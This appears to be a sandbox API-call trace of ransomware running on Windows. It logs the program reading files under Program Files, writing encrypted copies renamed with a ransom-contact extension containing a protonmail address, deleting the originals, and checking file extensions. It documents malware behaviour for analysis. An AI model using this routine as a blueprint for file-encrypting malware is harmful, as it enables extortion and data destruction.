	[0083.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.253] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=20608) returned 1
	[0083.253] CloseHandle (hObject=0x36c) returned 1
	[0083.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20
	[0083.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.254] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.254] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.254] GetLastError () returned 0x0
	[0083.254] ReadFile (in: hFile=0x36c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x5080, lpOverlapped=0x0) returned 1
	[0083.263] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5090, lpOverlapped=0x0) returned 1
	[0083.264] ReadFile (in: hFile=0x36c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.264] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0083.264] SetEndOfFile (hFile=0x380) returned 1
	[0083.265] CloseHandle (hObject=0x380) returned 1
	[0083.265] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.265] SetEndOfFile (hFile=0x36c) returned 1
	[0083.266] CloseHandle (hObject=0x36c) returned 1
	[0083.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1
	[0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.266] lstrlenW (lpString=".doc") returned 4
	[0083.266] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.266] lstrlenW (lpString=".docx") returned 5
	[0083.266] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0083.266] lstrlenW (lpString=".pdf") returned 4
	[0083.266] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.266] lstrlenW (lpString=".xls") returned 4
	[0083.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.266] lstrlenW (lpString=".xlsx") returned 5
	[0083.266] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0083.266] lstrlenW (lpString=".ppt") returned 4
	[0083.266] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.266] lstrlenW (lpString=".zip") returned 4
	[0083.266] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.266] lstrlenW (lpString=".rar") returned 4
	[0083.267] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.267] lstrlenW (lpString=".bz2") returned 4
	[0083.267] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.267] lstrlenW (lpString=".7z") returned 3
	[0083.267] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.267] lstrlenW (lpString=".dbf") returned 4
	[0083.267] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.267] lstrlenW (lpString=".1cd") returned 4
	[0083.267] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.267] lstrlenW (lpString=".jpg") returned 4
	[0083.267] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.267] lstrlenW (lpString=".doc") returned 4
	[0083.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.268] lstrlenW (lpString=".docx") returned 5
	[0083.268] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0083.268] lstrlenW (lpString=".pdf") returned 4
	[0083.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.268] lstrlenW (lpString=".xls") returned 4
	[0083.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.268] lstrlenW (lpString=".xlsx") returned 5
	[0083.268] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0083.268] lstrlenW (lpString=".ppt") returned 4
	[0083.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.268] lstrlenW (lpString=".zip") returned 4
	[0083.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.268] lstrlenW (lpString=".rar") returned 4
	[0083.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.268] lstrlenW (lpString=".bz2") returned 4
	[0083.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.268] lstrlenW (lpString=".7z") returned 3
	[0083.268] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.268] lstrlenW (lpString=".dbf") returned 4
	[0083.268] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.268] lstrlenW (lpString=".1cd") returned 4
	[0083.268] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78
	[0083.268] lstrlenW (lpString=".jpg") returned 4
	[0083.268] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.269] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.269] lstrlenW (lpString="vstoee.dll") returned 10
	[0083.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.276] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=168064) returned 1
	[0083.276] CloseHandle (hObject=0x364) returned 1
	[0083.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20
	[0083.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.277] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.277] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.283] GetLastError () returned 0x0
	[0083.283] ReadFile (in: hFile=0x34c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x29080, lpOverlapped=0x0) returned 1
	[0083.297] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x29090, lpOverlapped=0x0) returned 1
	[0083.300] ReadFile (in: hFile=0x34c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.300] WriteFile (in: hFile=0x380, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0083.301] SetEndOfFile (hFile=0x380) returned 1
	[0083.301] CloseHandle (hObject=0x380) returned 1
	[0083.301] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.301] SetEndOfFile (hFile=0x34c) returned 1
	[0083.303] CloseHandle (hObject=0x34c) returned 1
	[0083.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.303] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1
	[0083.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.303] lstrlenW (lpString=".doc") returned 4
	[0083.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.303] lstrlenW (lpString=".docx") returned 5
	[0083.303] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0083.303] lstrlenW (lpString=".pdf") returned 4
	[0083.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.303] lstrlenW (lpString=".xls") returned 4
	[0083.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.303] lstrlenW (lpString=".xlsx") returned 5
	[0083.303] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0083.303] lstrlenW (lpString=".ppt") returned 4
	[0083.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.304] lstrlenW (lpString=".zip") returned 4
	[0083.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString=".rar") returned 4
	[0083.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString=".bz2") returned 4
	[0083.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.304] lstrlenW (lpString=".7z") returned 3
	[0083.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.304] lstrlenW (lpString=".dbf") returned 4
	[0083.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.304] lstrlenW (lpString=".1cd") returned 4
	[0083.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.304] lstrlenW (lpString=".jpg") returned 4
	[0083.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.304] lstrlenW (lpString=".doc") returned 4
	[0083.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString=".docx") returned 5
	[0083.304] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0083.304] lstrlenW (lpString=".pdf") returned 4
	[0083.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString=".xls") returned 4
	[0083.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.304] lstrlenW (lpString=".xlsx") returned 5
	[0083.304] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0083.304] lstrlenW (lpString=".ppt") returned 4
	[0083.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.305] lstrlenW (lpString=".zip") returned 4
	[0083.305] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.305] lstrlenW (lpString=".rar") returned 4
	[0083.305] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.305] lstrlenW (lpString=".bz2") returned 4
	[0083.305] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.305] lstrlenW (lpString=".7z") returned 3
	[0083.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.305] lstrlenW (lpString=".dbf") returned 4
	[0083.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.305] lstrlenW (lpString=".1cd") returned 4
	[0083.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0083.305] lstrlenW (lpString=".jpg") returned 4
	[0083.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.305] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0083.305] lstrlenW (lpString="msader15.dll.mui") returned 16
	[0083.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.307] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17920) returned 1
	[0083.307] CloseHandle (hObject=0x34c) returned 1
	[0083.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20
	[0083.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.307] lstrlenW (lpString=".doc") returned 4
	[0083.307] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0083.307] lstrlenW (lpString=".docx") returned 5
	[0083.307] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0083.307] lstrlenW (lpString=".pdf") returned 4
	[0083.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0083.308] lstrlenW (lpString=".xls") returned 4
	[0083.308] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0083.308] lstrlenW (lpString=".xlsx") returned 5
	[0083.308] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0083.308] lstrlenW (lpString=".ppt") returned 4
	[0083.308] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0083.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.308] lstrlenW (lpString=".zip") returned 4
	[0083.308] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0083.308] lstrlenW (lpString=".rar") returned 4
	[0083.308] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0083.308] lstrlenW (lpString=".bz2") returned 4
	[0083.308] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0083.308] lstrlenW (lpString=".7z") returned 3
	[0083.308] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0083.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.308] lstrlenW (lpString=".dbf") returned 4
	[0083.308] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0083.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.308] lstrlenW (lpString=".1cd") returned 4
	[0083.308] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0083.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.308] lstrlenW (lpString=".jpg") returned 4
	[0083.308] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0083.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.308] lstrlenW (lpString=".doc") returned 4
	[0083.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0083.308] lstrlenW (lpString=".docx") returned 5
	[0083.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0083.308] lstrlenW (lpString=".pdf") returned 4
	[0083.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0083.309] lstrlenW (lpString=".xls") returned 4
	[0083.309] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0083.309] lstrlenW (lpString=".xlsx") returned 5
	[0083.309] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0083.309] lstrlenW (lpString=".ppt") returned 4
	[0083.309] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0083.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.309] lstrlenW (lpString=".zip") returned 4
	[0083.309] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0083.309] lstrlenW (lpString=".rar") returned 4
	[0083.309] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0083.309] lstrlenW (lpString=".bz2") returned 4
	[0083.309] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0083.309] lstrlenW (lpString=".7z") returned 3
	[0083.309] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0083.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.309] lstrlenW (lpString=".dbf") returned 4
	[0083.309] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0083.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.309] lstrlenW (lpString=".1cd") returned 4
	[0083.309] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0083.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0083.309] lstrlenW (lpString=".jpg") returned 4
	[0083.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0083.309] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.309] lstrlenW (lpString="msader15.dll") returned 12
	[0083.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.310] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2560) returned 1
	[0083.310] CloseHandle (hObject=0x34c) returned 1
	[0083.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20
	[0083.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.311] lstrlenW (lpString=".doc") returned 4
	[0083.311] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.311] lstrlenW (lpString=".docx") returned 5
	[0083.311] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0083.311] lstrlenW (lpString=".pdf") returned 4
	[0083.311] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.311] lstrlenW (lpString=".xls") returned 4
	[0083.311] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.311] lstrlenW (lpString=".xlsx") returned 5
	[0083.311] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0083.311] lstrlenW (lpString=".ppt") returned 4
	[0083.311] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.311] lstrlenW (lpString=".zip") returned 4
	[0083.311] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.311] lstrlenW (lpString=".rar") returned 4
	[0083.311] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.311] lstrlenW (lpString=".bz2") returned 4
	[0083.311] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.311] lstrlenW (lpString=".7z") returned 3
	[0083.311] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.311] lstrlenW (lpString=".dbf") returned 4
	[0083.311] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0083.311] lstrlenW (lpString=".1cd") returned 4
	[0083.311] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
